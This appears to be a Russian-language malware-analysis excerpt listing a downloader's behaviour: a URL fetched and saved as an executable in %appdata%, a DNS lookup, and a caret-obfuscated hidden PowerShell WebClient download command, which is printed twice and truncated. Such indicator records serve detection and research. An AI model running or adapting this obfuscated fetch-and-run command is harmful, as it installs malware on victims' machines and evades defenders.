Техническая информация
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "Po^wERS^HE^ll.E^X^e -eXeC^UT^iO^Npo^L^Ic^Y^ ^b^YpA^s^s ^-N^opr^O^F^iL^E -WIndoW^ST^YLE h^i^dd^e^n^ (N^e^w^-^oBJ^Ect sYStem^.^NEt^.^weBclIEn^T).DO^wN^LOAdfIlE^(^'http://www.f...
- DNS ASK fo###oaas.top
- '<SYSTEM32>\cmd.exe' /C "Po^wERS^HE^ll.E^X^e -eXeC^UT^iO^Npo^L^Ic^Y^ ^b^YpA^s^s ^-N^opr^O^F^iL^E -WIndoW^ST^YLE h^i^dd^e^n^ (N^e^w^-^oBJ^Ect sYStem^.^NEt^.^weBclIEn^T).DO^wN^LOAdfIlE^(^'http://www.f...' (со скрытым окном)